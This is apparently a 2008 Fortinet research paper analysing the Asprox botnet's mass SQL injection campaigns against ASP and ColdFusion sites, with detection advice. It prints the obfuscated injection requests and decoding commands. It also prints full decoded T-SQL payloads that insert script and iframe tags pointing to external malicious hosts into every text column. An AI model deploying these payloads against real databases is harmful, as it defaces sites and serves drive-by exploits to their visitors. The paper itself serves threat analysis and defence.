

BOTNET-POWERED SQL INJECTION ATTACKS: A DEEPER LOOK WITHIN

David Maciejak, Guillaume Lovet
Fortinet, France

Email {dmaciejak, glovet}@fortinet.com

INTRODUCTION

Looking back, the past year has seen botnet-powered SQL injection attacks reaching a rampant level, sparing no category of website in their malicious code injection frenzy. With several million reported attempts from several hundreds of thousands of IP addresses, and successfully compromised targets ranging from *MTV* to the Canadian National Defence, few other threats can boast a higher profile.

Looking within, the threat's internals reveal a sophisticated technique and a steady evolution. As early as May 2008, a new Asprox botnet variant acquired an interesting – and never previously seen – behaviour: it started to look for SQL servers via search engines, such as *Google*. Once found, it would attempt to perform an SQL injection attack on them, following a simple yet effective routine: an HTTP Get request is issued as an attempt to inject some malicious JavaScript in the content database, which is used to provide data front-end to the final user. The blind requests may be repeated with varied parameters, effectively making this early version of the threat a 'brute-force' attack.

This paper dissects the attack at a fairly technical level, elaborates on its evolution up to now, and discusses the protection and mitigation strategies relevant to its class.

IN DEPTH ATTACK ANALYSIS

The first attack reported to us looked like the following:

```
GET /page.asp?id=425;DECLARE%20@S%20NVARCHAR(4000);SET%20@S=CAST(0x4400450043004C004100520045002000400054...0065005F0043007500720073006F007200%20AS%20NVARCHAR(4000));EXEC(@S);--
```

As can be seen above, some SQL commands are appended to the legitimate value of the variable 'id'. In short, we have:

```
GET /page.asp?id=425;[long string];--
```

In this request:

- ';' is used to 'serially' execute the injected command
- '--' is used to comment out anything that may follow
- the long string in-between is in effect the malicious code that the attacker is trying to inject, broken down below:

```
DECLARE @S NVARCHAR(4000);
SET @S=CAST(0x44004500... AS NVARCHAR(4000));
EXEC(@S);
```

This is quite straightforward: first, it creates a 4,000-character string variable named '@S'. Then, it initializes this variable, using the CAST method to convert the default hexadecimal chars to an ASCII value. Finally, it runs it.

But what really is this long, obfuscated ASCII string passed to the CAST method? A simple Perl command like the one below may reveal it, for it effectively deobfuscates the string:

```
echo "44004500..." | perl -pe 's/(..)00/chr(hex($1))/ge'
```

Which leaves us with the final SQL listing below (some carriage returns have been added for reasons of clarity):

```
DECLARE @T varchar(255),@C varchar(255)
DECLARE Table_Cursor CURSOR FOR
select a.name,b.name from sysobjects a,syscolumns b
where a.id=b.id and a.xtype='u' and (b.xtype=99 or
b.xtype=35 or b.xtype=231 or b.xtype=167)
OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @
T,@C WHILE(@@FETCH_STATUS=0)
BEGIN
exec('update ['+@T+'] set ['+@C+']=rtrim(convert(va
rchar,['+@C+']))+'<script src=http://www.directxx.
com/7.js></script>'')FETCH NEXT FROM Table_Cursor
INTO @T,@C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor
```

Listing 1: SQL statement targeting ASP.

We will explain this SQL code later on, as it's almost identical to the new variant we have seen. Indeed, Asprox is now targeting *Adobe ColdFusion* web application server files (.CFM); as one can see in the example below, the attack scenario is the same:

```
GET /emailarticle.cfm?ArticleID=7675;DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0x4445434C4152452040542076617263686172...5414C4C4F43415445205461626C655F437572736F72%20AS%20CHAR(4000));EXEC(@S); HTTP/1.1
```

Yet, the obfuscated string passed to the CAST method does not contain NULL chars, thus we have slightly modified our Perl script command to reveal the clear text string:

```
echo "444543..." | perl -pe 's/(..)/chr(hex($1))/ge'
```

Which leaves us with:

```
DECLARE @T varchar(255),@C varchar(4000)
DECLARE Table_Cursor CURSOR FOR
select a.name,b.name from sysobjects a,syscolumns b
where a.id=b.id and a.xtype='u' and (b.xtype=99 or
b.xtype=35 or b.xtype=231 or b.xtype=167)
OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @
T,@C WHILE(@@FETCH_STATUS=0)
BEGIN
exec('update ['+@T+'] set ['+@C+']=['+@C+']+'<'></
title><script src="http://sdo.xxxxmg.cn/cssrs/
w.js"></script><!--'' where '+@C+' not like '%''></
title><script src="http://sdo.xxxxmg.cn/cssrs/
w.js"></script><!--''')FETCH NEXT FROM Table_Cursor
INTO @T,@C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor
```

Listing 2: SQL statement targeting CFM.

As the astute reader may have noticed, the two listings feature some mild differences. The first five lines, however, are identical. The first line declares two variables, @T and @C, the purpose of which is to store table and column references, as we will see below. The second line declares a cursor and sets it to the result of the 'select' query.

The next lines are more challenging:

```
select a.name,b.name from sysobjects a,syscolumns b
where a.id=b.id and a.xtype='u' and (b.xtype=99 or
b.xtype=35 or b.xtype=231 or b.xtype=167)
```

Here, 'sysobjects' and 'syscolumns' are queried. These are system SQL server tables. As described in Transact-SQL

Reference [1], 'sysobjects' contains one row for each object (constraint, default, log, rule, stored procedure, and so on) created within a database. That's why the result has to be filtered by the xtype (data type char(2)) field, which is actually the object type. It can be one of these:

C = CHECK constraint
 D = Default or DEFAULT constraint
 F = FOREIGN KEY constraint
 L = Log
 FN = Scalar function
 IF = Inline table function
 P = Stored procedure
 PK = PRIMARY KEY constraint (type is K)
 RF = Replication filter stored procedure
 S = System table
 TF = Table function
 TR = Trigger
 U = User table
 UQ = UNIQUE constraint (type is K)
 V = View
 X = Extended stored procedure

'Syscolumns' is defined in Transact-SQL Reference [2] too; it contains one row for every column in every table and view, and one row for each parameter in a stored procedure. The column name used in the query is 'xtype', which is the physical storage type tinyint value from sys.types, where

- 35 is the type text
- 99 is the type ntext
- 167 is the type varchar
- 231 is the type nvarchar

Now that we have all the technical details, we can answer the rather simple question: what does this 'select' query do? In effect, it returns all tables (a.xtype='u' filter) created by the user (which have enough privileges to interact with the web application) where a column has 'string' as a type (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167).

The next line is identical in the two listings:

```
OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO
@T,@C WHILE(@@FETCH_STATUS=0)
```

For each value of the cursor it executes a Transact-SQL statement (between the BEGIN END tags):

(Listing 1)

```
BEGIN
exec('update ['+@T+'] set ['+@C+']=rtrim(convert(va
rchar,['+@C+']))+'<script src=http://www.directxx.
com/7.js></script>''')FETCH NEXT FROM Table_Cursor
INTO @T,@C
END
```

or

(Listing 2)

```
BEGIN
exec('update ['+@T+'] set ['+@C+']=['+@C+']+''></
title><script src="http://sdo.xxxxmg.cn/csrss/
w.js"></script><!--'' where '+@C+' not like '%''></
title><script src="http://sdo.xxxxmg.cn/csrss/
w.js"></script><!--''')FETCH NEXT FROM Table_Cursor
```

```
INTO @T,@C
END
```

Looking closely at the two 'exec' commands reveals some differences. These are the 'update' statements. The first one only appends a malicious JavaScript code to each string (site has been closed). So when the value is displayed on the victim's web browser, the js file will be silently loaded in.

Using *Google* dorks, you can find some results of such an attack; many times the HTML <TITLE> tag is 'infected'.

The second one is quite a bit more difficult to understand. It appends a piece of malicious JavaScript code but adds a filter (in the 'where' clause) in order not to infect the column again. Also, the HTML closing </TITLE> tag is appended, thereby making it more difficult to see some attack instances with a search engine, as the script will not be displayed in the title page.

The two last lines are identical; they are used to close the cursor handle and deallocate the cursor's data.

What is this injected piece of JavaScript doing?

Upon a successful attack, as we have seen in the part above, the database containing the web content data is filled with some malicious JavaScript, 'building' external links on the fly. Follow these links at your own risk: they redirect to an 'all-in-one' web exploit toolkit that tries to exploit vulnerable components of visitors' browsers. Their goal is to silently download and execute some malicious files on the victim's system. The following is a non-exhaustive list of such attacks, as observed at the time of writing:

- Microsoft Data Access Components (MDAC) Vulnerability (MS06-014)
- Adobe Flash DefineSceneAndFrameData Vulnerability targeting *Mozilla Firefox* and *Microsoft IE* (CVE-2007-0071)
- Microsoft Visual Studio 'Msmask32.ocx' ActiveX Control Vulnerability (CVE-2008-3704)
- Microsoft Access Snapshot Viewer ActiveX Control Vulnerability (CVE-2008-2463)
- Ourgame 'GLIEDown2.dll' ActiveX Control Remote Code Execution Vulnerability (BID:29118)
- RealPlayer 'rmoc3260.dll' ActiveX Control Vulnerability (CVE-2008-130)
- RealPlayer 'ierpplug.dll' ActiveX Control Vulnerability (CVE-2007-5601)
- Baofeng Storm ActiveX Controls Vulnerability (CVE-2007-4816)
- America Online SuperBuddy ActiveX Control Vulnerability (CVE-2006-5820)
- Apple QuickTime RTSP Content-Type Header Stack Buffer Overflow Vulnerability (CVE-2007-616)
- Yahoo! Messenger CYFT Object ActiveX Control Vulnerability (CVE-2007-5017)

Threat evolution – where does the attack come from?

One might think that these attacks are quite new... but one would be wrong. As a matter of fact, as reported by the ISC

SANS [3], similar samples were discovered back in November 2007 – though not very widely distributed. They used a similar trick, but resorted to the CAST method to obfuscate the SQL statements. These decoded are seen in Listing 3 below:

```
declare @m varchar(8000);
set @m='';select @m=@m+'update['+a.name+']set['+b.name+']=rtrim(convert(varchar,'+b.name+'))+'<script src="http://ylxx.net/0.js"></script>';
from dbo.sysobjects a,dbo.syscolumns b,dbo.systypes c where a.id=b.id and a.xtype='U' and b.xtype=c.xtype and c.name='varchar';
set @m=REVERSE(@m);set @m=substring(@m,PATINDEX('%%',@m),8000);set @m=REVERSE(@m);exec(@m);
```

Listing 3.

The first small wave of attacks came from a Chinese group back in November 2007. This innovation was then picked up by the Asprox botnet designers, as can be seen in Listing 1. Then, a Chinese group (maybe the same as at the end of 2007) re-used the Asprox botnet implementation to target *ColdFusion* servers, as can be seen in Listing 2.

CONCLUSION

To put it in a nutshell, SQL attacks are not only very prevalent – they also evolve. The scenario gets refined and the quality of the SQL statements improves (yielding greater efficiency). Moreover, the use of the *Google* search engine can increase this kind of attack to a very high level of prevalence in a very short amount of time.

That said, this kind of attack can be detected proactively with an IPS using some SQL pattern recognition in the HTTP request. *Fortinet* customers are protected from these attacks with *Danmec.Asprox.SQL.Injection* (attack_id 18509) and with generic SQL recognition pattern signatures like *HTTP.URI.SQL.Injection*.

Updates

10-09-2008

Some JavaScript variants check for a special User-Agent pattern (it's a string identification sent by the web browser to the web server), as in the example below:

```
if(navigator.userAgent.indexOf('AntivirXP08')==1){
document.write("<iframe src=http://jxxx.ru/cgi-bin/index.cgi?script width=0 height=0 frameborder=0></iframe>");
}
```

As you can see, the User-Agent is checked to see if it contains the word 'AntivirXP08' which is the sign of a previous infection by a rogue software (see *War Of The Rogues* [4] for more information). So if the computer is already infected, this current infection stops here. If not, it tries to infect it by redirecting the user to another malicious script using an IFRAME redirection.

10-24-2008

The HTML code included has changed a bit, as you can see in the excerpt below (Listing 4). The attackers are currently using some more common malicious JavaScript frame injection tricks.

```
exec('update ['+@T+'] set ['+@C+']=rtrim(convert(varchar,['+@C+']))+'<iframe src="hxxp://xx.xxx.hk/gg.htm" width="800" height="600"></iframe>''')
```

Listing 5.

12-01-2008

After a slow down in the number of attacks detected, new waves have appeared using the same IFRAME tag trick to silently redirect the victims to malicious sites in China, embedding many other cascading IFRAMEs used to load ActiveX exploits and malicious *Flash* files in an attempt to remotely code execute files on the targeted system.

12-12-2008

On 9 December, we were aware of a zero-day XML vulnerability in *Microsoft Internet Explorer*. Cybercriminals were prompt to link this exploit to the new SQL campaign in China targeting more than 100,000 websites. The attack vector has changed slightly; for the second time this year we can see that the SQL injection occurs in the cookie header field. We don't know if the bad guys have special targets in mind but according to the CVE list, many web applications were vulnerable this last year to this kind of flaw.

REFERENCES

- [1] MSDN sysobjects Transact-SQL Reference. <http://msdn.microsoft.com/en-us/library/aa260447%28SQL.80%29.aspx>.
- [2] MSDN syscolumns Transact-SQL Reference. <http://msdn.microsoft.com/en-us/library/aa260398.aspx>.
- [3] ISC SANS entry 'Mass exploits with SQL Injection'. <http://isc.sans.org/diary.html?storyid=3823>.
- [4] Fortinet, D. Manky, War Of The Rogues. <http://www.fortiguardcenter.com/analysis/waroftherogues.html>.